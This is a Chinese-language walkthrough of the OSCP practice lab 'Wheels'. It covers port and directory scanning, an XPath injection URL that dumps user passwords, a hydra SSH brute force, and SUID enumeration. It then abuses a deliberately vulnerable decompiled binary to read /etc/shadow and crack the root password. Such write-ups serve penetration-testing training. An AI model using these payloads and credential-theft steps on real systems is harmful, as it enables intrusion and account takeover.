OSCP是一个专门针对Kali Linux渗透测试培训课程的专业认证,官方提供了很多练习靶场,而Wheels就是其中一个。
tips: OSCP有一个内置的KaliLinux,它和VPN不能同时存在,所以需要先连接VPN。
先下载open文件,然后使用kali连接VPN。然后开启靶机。开启稍等几分钟,就会给我们一个靶机IP。
使用nmap扫描常用端口的开放情况顺便查看一下服务版本
nmap -sS -sV 192.168.180.202
可以看到常用端口仅开放了22和80端口,那么这个靶场极有可能存在web漏洞,因为ssh出现漏洞的情况比较少。
使用目录扫描工具简单扫一下目录,我这里使用dirsearch
dirsearch -u http://192.168.180.202
通过扫描结果,可以看出来是一个php网站,并且存在注册和登录的功能。访问主页试试看。
在主页上可以发现有五个选项卡,分别是主页、注册和登录还有Employee portal和 Get a QUOTE。其中后面两个选项卡会跳转到登录页面,也就是说有部分信息只有登录了我们才能看到。其中,在底部有一些公司的电话以及邮箱等信息。
点击register选项卡,可以看到有三个选项。接下来,我们来注册一个账号试试。
注册成功后左上角会出现successful字样表示成功注册。接下来我们来登录试试。
登录之后再来点击后面的选型卡看看。
提示禁止访问,想一下,这个选项的名字叫做Employee portal,可能跟账号权限有关,那么它后台怎么判断注册的账号是否为授权账号呢,显而易见,大概率是通过邮箱,因为注册的时候需要邮箱。那么我们再重新注册一个账号通过该公司的邮箱。
成功创建用户,再去尝试访问portal.php试试。
这个时候就能正常访问了,可以看到有一个表单,可以通过选项卡筛选出一些信息。
选择car选项,点击submit,会出现一些人名的信息。选择bike选项提交也会出现一些人名信息,我们先将这些人名信息记录下来,后面说不定有用。
接下来我们来看看服务器是如何取出这些数据的,主要看两个选项卡的URL链接。
http://192.168.180.202/portal.php?work=bike&action=search
http://192.168.180.202/portal.php?work=car&action=search
可以看到通过给work传送参数来获取数据的,那么就说明参数可控,我们可以试试是否存在注入,直接在参数后面加上单引号。
报错了,报的是XML实体错误,说明它是通过查询XML数据来回显的。那么这个时候我们就可以尝试使用Xpath注入了。xpath注入具体的原理就不在此赘述了。经过几番尝试,成功查询到password字段。
http://192.168.180.202/portal.php?work=%27)]/password%20|%20a[contains(a,%27&action=search
通过XPATH注入我们成功获取到了6个密码。刚好前面有6个人名可以当作用户名,接下来将密码存在pass.txt里。尝试一下SSH爆破。
hydra -L user.txt -P pass.txt ssh://192.168.180.202
成功爆破出bob的密码为Iamrockinginmyroom1212。直接连接SSH可以获取第一个flag。
# 查找当前系统上存在s权限的文件
find / -perm -u=s type f 2>/dev/null
我们发现出现的第一个文件就非常可疑,因为它不是一个系统默认的文件,但是它具有s权限,重点看看这个文件。
初步判断这个程序应该是用来读取文件的,读取什么文件由用户输入,程序给了两个选项。具体是做什么的我们将这个程序下载下来分析。
scp getlist [email protected]:/root/ # 利用scp将文件传输到kali的root目录下面
将getlist文件使用逆向工具打开,获取程序源代码。
undefined8 main(void)
{
__uid_t __uid;
char *pcVar1;
undefined8 local_148;
undefined8 local_140;
undefined8 local_138;
undefined8 local_130;
undefined8 local_128;
undefined8 local_120;
undefined8 local_118;
undefined8 local_110;
undefined8 local_108;
undefined8 local_100;
undefined8 local_f8;
undefined8 local_f0;
undefined8 local_e8;
undefined8 local_e0;
undefined8 local_d8;
undefined8 local_d0;
undefined8 local_c8;
undefined8 local_c0;
undefined8 local_b8;
undefined8 local_b0;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
char local_78 [104];
int local_10;
int local_c;
puts("\n");
printf("Which List do you want to open? [customers/employees]: ");
fgets(local_78,100,stdin);
pcVar1 = strchr(local_78,0x3b);
if (((pcVar1 == (char *)0x0) && (pcVar1 = strchr(local_78,0x7c), pcVar1 == (char *)0x0)) &&
(pcVar1 = strchr(local_78,0x26), pcVar1 == (char *)0x0)) {
pcVar1 = strstr(local_78,"customers");
if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(local_78,"employees"), pcVar1 == (char *)0x0)) {
printf("Oops something went wrong!!");
return 0;
}
puts("Opening File....\n");
local_148 = 0;
local_140 = 0;
local_138 = 0;
local_130 = 0;
local_128 = 0;
local_120 = 0;
local_118 = 0;
local_110 = 0;
local_108 = 0;
local_100 = 0;
local_f8 = 0;
local_f0 = 0;
local_e8 = 0;
local_e0 = 0;
local_d8 = 0;
local_d0 = 0;
local_c8 = 0;
local_c0 = 0;
local_b8 = 0;
local_b0 = 0;
local_a8 = 0;
local_a0 = 0;
local_98 = 0;
local_90 = 0;
local_88 = 0;
snprintf((char *)&local_148,200,"/bin/cat /root/details/%s",local_78);
local_c = open("/dev/null",0x401);
local_10 = dup(2);
dup2(local_c,2);
__uid = geteuid();
setuid(__uid);
system((char *)&local_148);
dup2(local_10,2);
close(local_10);
close(local_c);
write(2,&DAT_00102008,1);
}
return 0;
}
通过查看这段反编译后的代码,我们可以知道这段程序存在漏洞,因为它没有对点进行过滤,也没有对用户所输入的字符串做验证,通过这两个点,我们就可以读取该主机的任何文件,/etc/shadow包含了root密码,我们可以直接读它然后利用john破解出root密码。
绕过这个程序正常查看文件的功能,读取/etc/shadow文件,将内容保存为hash.
利用九头蛇爆破shadow文件,使用kali自带的字典。成功爆破出root密码为highschoolmusical。
使用密码登录root账户,获取存放在root目录下的flag2。